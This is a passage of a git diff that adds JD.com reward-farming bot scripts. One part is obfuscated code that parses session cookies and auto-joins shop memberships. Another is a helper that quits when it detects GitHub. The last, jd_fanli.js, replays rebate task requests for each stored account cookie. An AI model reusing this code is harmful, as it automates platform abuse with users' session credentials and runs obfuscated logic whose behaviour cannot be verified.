_0x2e7b29={'url':'https://api.m.jd.com/?t='+Date[_0x3102('‮326','J5AU')](),'headers':_0x593c58,'body':_0x123fb6};_0x120e05[_0x3102('‮327','Xxxm')](_0x2e7b29,(_0x440254,_0x3dd84d,_0x43d589)=>{});}});}function dealCK(_0x53e38f,_0x2b6585){var _0x264d55={'vEqef':'token','rQZGD':function(_0x2b14c7,_0x4f1ca8){return _0x2b14c7===_0x4f1ca8;},'pobJm':_0x3102('‫328','R%hz'),'xnkim':_0x3102('‮329','Zt7Z'),'LOaNb':function(_0xa60e23,_0x41b998){return _0xa60e23>_0x41b998;},'RDIRU':'lz_jdpin_token=','sLgPA':function(_0x21c218,_0x1b3c75){return _0x21c218+_0x1b3c75;},'FrEHx':function(_0x512bc1,_0x53026a){return _0x512bc1>_0x53026a;},'OqGjK':'LZ_TOKEN_KEY=','dqSDR':_0x3102('‮32a','o@0y')};if(_0x264d55[_0x3102('‮32b','bZAg')](_0x2b6585,undefined)){return;}let _0x3b6f22=_0x2b6585[_0x264d55[_0x3102('‫32c','bZAg')]][_0x3102('‮32d','2K5g')]||_0x2b6585[_0x264d55[_0x3102('‮32e','*m2]')]][_0x3102('‫32f','4IbD')]||'';if(_0x3b6f22){if(_0x264d55[_0x3102('‫330','4q7e')](_0x264d55[_0x3102('‮331','oJKr')],_0x264d55['xnkim'])){let _0x4f31a8=_0x3b6f22[_0x3102('‫332','bZAg')](_0x3bf95d=>_0x3bf95d[_0x3102('‫333','[TKT')]('lz_jdpin_token')!==-0x1)[0x0];if(_0x4f31a8&&_0x264d55[_0x3102('‫334','2K5g')](_0x4f31a8[_0x3102('‮166','qhO@')](_0x264d55[_0x3102('‮335','#9UC')]),-0x1)){_0x53e38f[_0x3102('‮336','R%hz')]=_0x4f31a8[_0x3102('‫337','EtQ#')](';')&&_0x264d55[_0x3102('‮338','#9UC')](_0x4f31a8[_0x3102('‫339','vitW')](';')[0x0],';')||'';}let _0x18bef9=_0x3b6f22['filter'](_0x22e993=>_0x22e993[_0x3102('‫33a','#9UC')](_0x3102('‫33b','OGYu'))!==-0x1)[0x0];if(_0x18bef9&&_0x264d55[_0x3102('‫33c','*m2]')](_0x18bef9['indexOf'](_0x264d55[_0x3102('‮33d','[TKT')]),-0x1)){let _0x2db698=_0x18bef9['split'](';')&&_0x18bef9[_0x3102('‫33e','#9UC')](';')[0x0]||'';_0x53e38f['LZ_TOKEN_KEY']=_0x2db698['replace'](_0x3102('‫33f','tBOS'),'');}let _0x31d34d=_0x3b6f22['filter'](_0x290f2a=>_0x290f2a['indexOf'](_0x3102('‫340','EtQ#'))!==-0x1)[0x0];if(_0x31d34d&&_0x31d34d['indexOf'](_0x264d55[_0x3102('‮341','sg)U')])>-0x1){let _0x3dc3ac=_0x31d34d['split'](';')&&_0x31d34d[_0x3102('‫342','sNao')](';')[0x0]||'';_0x53e38f['LZ_TOKEN_VALUE']=_0x3dc3ac['replace']('LZ_TOKEN_VALUE=','');}}else{resolve(data[_0x264d55[_0x3102('‫343','tBOS')]]||'');}}}async function takePostRequest(_0xedb1c5,_0x184edd,_0x15c7a4='activityId='+_0xedb1c5[_0x3102('‮344','Li(D')]+'&pin='+encodeURIComponent(_0xedb1c5['pin'])){var _0x11b81f={'nLzLD':function(_0x9fc5b2,_0x55c51f){return _0x9fc5b2+_0x55c51f;},'grpBE':function(_0x30b791,_0x51f6c5,_0x1f3a6d){return _0x30b791(_0x51f6c5,_0x1f3a6d);},'nNOqE':_0x3102('‮345','Xxxm'),'vdukX':function(_0x486fb3,_0x3edf82){return _0x486fb3(_0x3edf82);},'GwAmW':function(_0x2c1471,_0x2fd87c){return _0x2c1471===_0x2fd87c;},'MDlzT':_0x3102('‮346','Li(D'),'mIowS':_0x3102('‫347','oJKr'),'pNlGF':_0x3102('‮348','Xxxm'),'WbHNj':'wxCommonInfo/initActInfo','GwAFY':_0x3102('‮349','#9UC'),'lhnkM':'wxCollectCard/shopInfo','mLIWg':_0x3102('‮34a','bZAg'),'WMkdE':_0x3102('‮34b','OpYx'),'hIBpd':_0x3102('‫34c','Li(D'),'KiSVC':function(_0x391d48,_0x267218){return _0x391d48(_0x267218);},'DuWFa':function(_0x1d76b8,_0x119e9a){return _0x1d76b8(_0x119e9a);},'Sdfha':_0x3102('‮34d','k6UV'),'OJVmT':_0x3102('‫34e','sNao')};let _0x4a96ac='https://'+_0xedb1c5['host']+'/'+_0x184edd;switch(_0x184edd){case _0x11b81f[_0x3102('‫34f','p(IT')]:case _0x11b81f[_0x3102('‫350','hMf@')]:case _0x11b81f['WbHNj']:case _0x11b81f[_0x3102('‫351','COiT')]:case _0x11b81f[_0x3102('‫352','hMf@')]:case _0x3102('‮353','EtQ#'):_0x15c7a4=_0x3102('‮354','TUqD')+_0xedb1c5[_0x3102('‫355','Gi4A')];break;case _0x11b81f[_0x3102('‮356','0cn&')]:_0x15c7a4=_0x3102('‮357','hMf@')+_0xedb1c5[_0x3102('‮358','hMf@')]+'&token='+_0x11b81f[_0x3102('‫359','1M$7')](encodeURIComponent,_0xedb1c5[_0x3102('‮35a','sg)U')])+_0x3102('‫35b','(uuA');break;case _0x11b81f[_0x3102('‮35c','qhO@')]:case _0x11b81f[_0x3102('‮35d','sdz^')]:_0x15c7a4='venderId='+_0xedb1c5['venderId']+_0x3102('‮35e','4q7e')+_0xedb1c5[_0x3102('‮35f','OpYx')]+'&pin='+_0x11b81f[_0x3102('‫360','7epy')](encodeURIComponent,_0xedb1c5[_0x3102('‮361','Zt7Z')])+'&activityId='+_0xedb1c5['activityId']+_0x3102('‫362','2K5g')+_0x11b81f[_0x3102('‫363','7epy')](encodeURIComponent,_0xedb1c5['thisActivityUrl'])+_0x3102('‮364','4IbD');break;case _0x11b81f[_0x3102('‫365','dt#Z')]:_0x15c7a4=_0x3102('‫366','3(Uq')+encodeURIComponent(_0xedb1c5[_0x3102('‮367','J%J3')]);break;case _0x3102('‮368','#9UC'):_0x15c7a4=_0x3102('‫369','J5AU')+_0xedb1c5[_0x3102('‫bc','bZAg')]+_0x3102('‫36a','J5AU')+_0xedb1c5['activityId']+_0x3102('‮36b','4q7e')+encodeURIComponent(_0xedb1c5[_0x3102('‮36c','AqFu')]);break;case _0x3102('‮36d','d3gl'):_0x15c7a4=_0x3102('‮36e','bZAg')+_0xedb1c5[_0x3102('‮36f','#9UC')];break;case _0x11b81f[_0x3102('‮370','Hlgj')]:_0x15c7a4=_0x3102('‫371','4IbD');break;}const _0x31cf31={'X-Requested-With':_0x3102('‮372','[TKT'),'Connection':_0x3102('‫373','4q7e'),'Accept-Encoding':_0x3102('‫374','#9UC'),'Content-Type':'application/x-www-form-urlencoded','Origin':'https://'+_0xedb1c5[_0x3102('‫375','oulr')],'User-Agent':_0xedb1c5['UA'],'Cookie':_0xedb1c5['cookie']+'\x20LZ_TOKEN_KEY='+_0xedb1c5[_0x3102('‮376','Xxxm')]+_0x3102('‮377','sNao')+_0xedb1c5[_0x3102('‮378','qBje')]+_0x3102('‫379','c[zw')+_0xedb1c5[_0x3102('‮37a','qBje')]+';\x20'+_0xedb1c5[_0x3102('‫37b','o@0y')],'Host':_0xedb1c5[_0x3102('‮37c','Hlgj')],'Referer':_0xedb1c5[_0x3102('‫37d','COiT')],'Accept-Language':_0x3102('‮37e','AqFu'),'Accept':'application/json'};let _0x231938={'url':_0x4a96ac,'method':_0x3102('‮37f','oulr'),'headers':_0x31cf31,'body':_0x15c7a4};return new Promise(async _0x4102f0=>{if(_0x11b81f[_0x3102('‮380','$u&N')](_0x3102('‮381','FuOh'),_0x11b81f['MDlzT'])){_0xedb1c5[_0x3102('‮327','Xxxm')](_0x231938,(_0x150450,_0x5ca279,_0x2c21e0)=>{var _0x32c434={'VSYch':function(_0x3aae4b,_0x5e47dd){return _0x11b81f[_0x3102('‮382','R%hz')](_0x3aae4b,_0x5e47dd);}};try{_0x11b81f[_0x3102('‫383','OpYx')](dealCK,_0xedb1c5,_0x5ca279);if(_0x2c21e0){_0x2c21e0=JSON['parse'](_0x2c21e0);}}catch(_0x153b5c){console[_0x3102('‫e4','oulr')](_0x2c21e0);_0xedb1c5[_0x3102('‫384','[TKT')](_0x153b5c,_0x5ca279);}finally{if(_0x11b81f['nNOqE']!==_0x11b81f[_0x3102('‮385','AqFu')]){return vars[i][_0x3102('‫386','OGYu')](_0x32c434[_0x3102('‫387','TUqD')](vars[i][_0x3102('‮388','EtQ#')]('='),0x1));}else{_0x11b81f[_0x3102('‮389','sg)U')](_0x4102f0,_0x2c21e0);}}});}else{_0xedb1c5[_0x3102('‮38a','hMf@')](e,resp);}});}async function join(_0x2f16af){var _0x1201b0={'RHCWW':function(_0x4673e1,_0x33a53d,_0x3689da){return _0x4673e1(_0x33a53d,_0x3689da);},'umhRL':function(_0xbf82ba,_0x334d92){return _0xbf82ba(_0x334d92);},'uDdpW':function(_0x38c2d8,_0x36d67c){return _0x38c2d8===_0x36d67c;},'mSbvu':function(_0x151f18,_0x274bc3){return _0x151f18==_0x274bc3;},'xGNUs':_0x3102('‫38b','4IbD'),'TYzEz':function(_0x54487f,_0x24d134){return _0x54487f==_0x24d134;},'yQcdp':_0x3102('‫38c','bgvS'),'SpQJD':'OricF','eXftD':_0x3102('‫38d','EtQ#'),'Ufbvn':_0x3102('‫38e','J%J3'),'XmbzO':function(_0x28de84,_0x14fec4){return _0x28de84(_0x14fec4);},'NKycZ':function(_0x5d28ea,_0x3ae8ef){return _0x5d28ea===_0x3ae8ef;},'WnSnA':function(_0x594152,_0x3b9fcd){return _0x594152(_0x3b9fcd);},'NWRUo':_0x3102('‮38f','sdz^'),'Roqko':_0x3102('‫390','Zt7Z'),'tuixr':_0x3102('‫391','OGYu'),'Qctld':_0x3102('‫392','tBOS'),'fpFzJ':'application/x-www-form-urlencoded'};_0x2f16af[_0x3102('‮393','f52I')]='';await _0x2f16af[_0x3102('‫394','Gi4A')](0x3e8);await _0x1201b0[_0x3102('‫395','7epy')](getshopactivityId,_0x2f16af);let _0x2b4b3d='';if(_0x2f16af[_0x3102('‫396','sNao')])_0x2b4b3d=_0x3102('‮397','#9UC')+_0x2f16af[_0x3102('‮398','n(3f')];let _0x54ac48={'url':_0x3102('‮399','n(3f')+_0x2f16af[_0x3102('‫39a','4q7e')]+_0x3102('‫39b','3(Uq')+_0x2f16af['venderId']+_0x3102('‫39c','sNao')+_0x2b4b3d+_0x3102('‫39d','RYmF'),'headers':{'Content-Type':_0x1201b0[_0x3102('‮39e','k6UV')],'Origin':_0x1201b0[_0x3102('‫39f','oulr')],'Host':_0x1201b0[_0x3102('‫3a0','dt#Z')],'accept':_0x1201b0['Qctld'],'User-Agent':_0x2f16af['UA'],'content-type':_0x1201b0[_0x3102('‮3a1','4IbD')],'Referer':_0x3102('‮3a2','dt#Z')+_0x2f16af['venderId']+_0x3102('‮3a3','d3gl')+_0x2f16af['venderId'],'Cookie':_0x2f16af['cookie']}};return new Promise(async _0x5b01d1=>{var _0x5f4f12={'nQYgY':function(_0x108cd4,_0x4ca18e){return _0x1201b0[_0x3102('‫3a4','Zt7Z')](_0x108cd4,_0x4ca18e);},'dxDUo':function(_0x3ce091,_0x4c977c){return _0x1201b0[_0x3102('‮3a5','XCf(')](_0x3ce091,_0x4c977c);},'gqSOb':_0x1201b0[_0x3102('‫3a6','*m2]')],'EAqLo':_0x3102('‮3a7','o@0y'),'favvX':function(_0x4d3cc0,_0x48ad83){return _0x1201b0[_0x3102('‮3a8','sg)U')](_0x4d3cc0,_0x48ad83);},'GyPdn':_0x1201b0['yQcdp'],'OrzcH':_0x1201b0['SpQJD'],'XiOMk':_0x1201b0[_0x3102('‫3a9','sg)U')],'xoAwi':_0x1201b0['Ufbvn'],'CDShD':function(_0x1a721e,_0x536acd){return _0x1201b0[_0x3102('‮3aa','(uuA')](_0x1a721e,_0x536acd);}};if(_0x1201b0['NKycZ']('Acmcf',_0x3102('‫3ab','4IbD'))){_0x2f16af[_0x3102('‫3ac','tBOS')](_0x54ac48,async(_0x2f49ce,_0x29a456,_0x2f8f06)=>{try{if(_0x5f4f12['nQYgY'](_0x3102('‮3ad','vitW'),_0x3102('‫3ae','$u&N'))){_0x2f16af[_0x3102('‮3af','2K5g')]=lzjdpintoken['split'](';')&&lzjdpintoken['split'](';')[0x0]+';'||'';}else{_0x2f8f06=JSON[_0x3102('‮3b0','hMf@')](_0x2f8f06);if(_0x5f4f12[_0x3102('‫3b1','Xxxm')](_0x2f8f06['success'],!![])){_0x2f16af[_0x3102('‮150','Hlgj')](_0x2f8f06[_0x3102('‮3b2','0cn&')]);if(_0x2f8f06[_0x3102('‫3b3','oJKr')]&&_0x2f8f06[_0x3102('‮3b4','4q7e')]['giftInfo']){if(_0x3102('‫3b5','Hlgj')!==_0x5f4f12['gqSOb']){for(let _0x302a28 of _0x2f8f06[_0x3102('‫3b6','FuOh')]['giftInfo'][_0x3102('‫3b7','Gi4A')]){if(_0x3102('‮3b8','c[zw')===_0x5f4f12[_0x3102('‮3b9','sg)U')]){console[_0x3102('‮2a7','(uuA')](_0x3102('‫3ba','AqFu'));return;}else{console['log']('入会获得:'+_0x302a28['discountString']+_0x302a28[_0x3102('‫3bb','dt#Z')]+_0x302a28['secondLineDesc']);}}}else{console[_0x3102('‮133','n(3f')]('初始化失败1');return;}}}else if(_0x5f4f12[_0x3102('‮3bc','Gi4A')](_0x2f8f06[_0x3102('‫3bd','vitW')],![])){if(_0x5f4f12[_0x3102('‫3be','3(Uq')]===_0x5f4f12[_0x3102('‮3bf','bgvS')]){for(let _0x30598f of _0x2f8f06[_0x3102('‫3c0','dt#Z')]['giftInfo'][_0x3102('‫3c1','sg)U')]){console[_0x3102('‮150','Hlgj')](_0x3102('‮3c2','d3gl')+_0x30598f[_0x3102('‫3c3','sg)U')]+_0x30598f[_0x3102('‫3c4','2K5g')]+_0x30598f[_0x3102('‫3c5','J%J3')]);}}else{_0x2f16af[_0x3102('‮d','Li(D')](_0x2f8f06[_0x3102('‫3c6','oulr')]);}}}}catch(_0x1a83f8){_0x2f16af['logErr'](_0x1a83f8,_0x29a456);}finally{if(_0x5f4f12['nQYgY'](_0x5f4f12['XiOMk'],_0x5f4f12[_0x3102('‫3c7','Gi4A')])){let _0x1d4fb5=drawInfo[_0x3102('‮da','2K5g')];if(!_0x1d4fb5['drawOk']){console['log'](_0x3102('‫3c8','2K5g'));}else{console[_0x3102('‫3c9','FuOh')](_0x3102('‫3ca','*m2]')+_0x1d4fb5[_0x3102('‫18d','R%hz')]);message+=_0x2f16af['UserName']+_0x3102('‫3cb','oJKr')+(_0x1d4fb5['name']||'未知')+'\x0a';}}else{_0x5f4f12[_0x3102('‮3cc','4q7e')](_0x5b01d1,_0x2f8f06);}}});}else{try{_0x1201b0[_0x3102('‫3cd','4q7e')](dealCK,_0x2f16af,resp);}catch(_0x51bfc3){_0x2f16af[_0x3102('‫3ce','XCf(')](_0x51bfc3,resp);}finally{_0x1201b0[_0x3102('‮3cf','c[zw')](_0x5b01d1,data);}}});}async function getshopactivityId(_0x3d4ef8){var _0x4fd5a4={'eGKsq':function(_0xb45864,_0x115d1a){return _0xb45864==_0x115d1a;},'Kckzk':function(_0x480cd9,_0x36312a){return _0x480cd9!==_0x36312a;},'tLiXr':'qJUin','kGOtl':function(_0x1e050e){return _0x1e050e();},'mxxIq':_0x3102('‮3d0','n(3f'),'XDpne':'api.m.jd.com','fhxng':'application/x-www-form-urlencoded'};let _0x47b97c={'url':'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22'+_0x3d4ef8['venderId']+'%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888','headers':{'Content-Type':_0x4fd5a4[_0x3102('‮3d1','bgvS')],'Origin':'https://api.m.jd.com','Host':_0x4fd5a4[_0x3102('‮3d2','1M$7')],'accept':'*/*','User-Agent':_0x3d4ef8['UA'],'content-type':_0x4fd5a4['fhxng'],'Referer':_0x3102('‫3d3','0cn&')+_0x3d4ef8['venderId']+'&shopId='+_0x3d4ef8[_0x3102('‮3d4','3(Uq')],'Cookie':_0x3d4ef8[_0x3102('‫3d5','J%J3')]}};return new Promise(_0x3d4ab0=>{_0x3d4ef8['get'](_0x47b97c,async(_0xc216be,_0xac7dcb,_0xf4bbe4)=>{try{_0xf4bbe4=JSON[_0x3102('‮3d6','c[zw')](_0xf4bbe4);if(_0x4fd5a4[_0x3102('‫3d7','J%J3')](_0xf4bbe4[_0x3102('‫3d8','Gi4A')],!![])){if(_0x3102('‮3d9','Zt7Z')===_0x3102('‮3da','COiT')){console['log'](_0x3102('‮3db','OGYu')+(_0xf4bbe4['result'][_0x3102('‮3dc','hMf@')][_0x3102('‫3dd','(uuA')]||''));_0x3d4ef8[_0x3102('‫3de','d3gl')]=_0xf4bbe4[_0x3102('‮3df','c[zw')][_0x3102('‫3e0','FuOh')]&&_0xf4bbe4[_0x3102('‮3e1','z@TG')][_0x3102('‮3e2','0cn&')][0x0]&&_0xf4bbe4[_0x3102('‫3e3','qhO@')]['interestsRuleList'][0x0][_0x3102('‮3e4','bZAg')]&&_0xf4bbe4[_0x3102('‮3b4','4q7e')][_0x3102('‫3e5','d3gl')][0x0]['interestsInfo'][_0x3102('‫3e6','3(Uq')]||'';}else{console[_0x3102('‮3e7','qhO@')](_0x3102('‮3e8','3(Uq'));}}}catch(_0x5b0ac4){_0x3d4ef8[_0x3102('‮2f8','4q7e')](_0x5b0ac4,_0xac7dcb);}finally{if(_0x4fd5a4[_0x3102('‮3e9','z@TG')](_0x4fd5a4['tLiXr'],_0x4fd5a4[_0x3102('‫3ea','3(Uq')])){console[_0x3102('‫240','J%J3')](_0x3102('‮3eb','4q7e'));}else{_0x4fd5a4[_0x3102('‫3ec','hMf@')](_0x3d4ab0);}}});});};_0xody='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_fanli.js b/jd_fanli.js new file mode 100644 index 0000000..d2058de --- /dev/null +++ b/jd_fanli.js @@ -0,0 +1,327 @@ +/* +京东饭粒 +长期活动,结束时间未知! + */ +const $ = new Env('京东饭粒'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = '',personMessage=''; + +let lz_cookie = {} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + if ($.runOut) + break; + $.hasGet = 0; + cookie = cookiesArr[i]; + originCookie = cookiesArr[i]; + newCookie = ''; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskFinishCount(cookiesArr[i]) + await $.wait(2000) + if ($.count.finishCount < $.count.maxTaskCount) { + + let range = $.count.maxTaskCount - $.count.finishCount; + await getTaskList(cookie) + await $.wait(2000) + var CountDoTask =0; + for (let k in $.taskList) { + if ($.taskList[k].taskId !== null && $.taskList[k].statusName != "活动结束" && $.taskList[k].statusName != "明日再来") { + CountDoTask+=0; + console.log(`开始尝试活动:` + $.taskList[k].taskName); + await saveTaskRecord(cookie, $.taskList[k].taskId, $.taskList[k].businessId, $.taskList[k].taskType); + if ($.sendBody) { + await $.wait(Number($.taskList[k].watchTime) * 1300); + await saveTaskRecord1(cookie, $.taskList[k].taskId, $.taskList[k].businessId, $.taskList[k].taskType, $.sendBody.uid, $.sendBody.tt); + } else { + continue; + } + if ($.count.finishCount == $.count.maxTaskCount) { + console.log(`任务全部完成!`); + break; + } + } + + } + } else { + console.log("任务已做完") + } + + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function saveTaskRecord(ck,taskId,businessId,taskType) { + let opt = { + url: `https://ifanli.m.jd.com/rebateapi/task/saveTaskRecord`, + headers: { + "Host": "ifanli.m.jd.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "Cache-Control": "no-cache", + "User-Agent": 